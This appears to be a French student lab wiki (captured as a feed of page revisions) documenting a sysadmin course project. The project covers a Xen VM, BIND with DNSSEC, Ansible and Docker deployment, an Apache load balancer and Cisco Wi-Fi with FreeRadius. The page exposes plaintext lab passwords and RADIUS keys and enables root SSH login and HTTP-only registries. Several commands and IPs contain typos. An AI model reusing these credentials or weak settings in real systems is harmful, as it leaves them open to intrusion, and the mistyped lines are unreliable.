 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
	  ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55020</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55020"/>
				<updated>2020-12-18T23:28:40Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
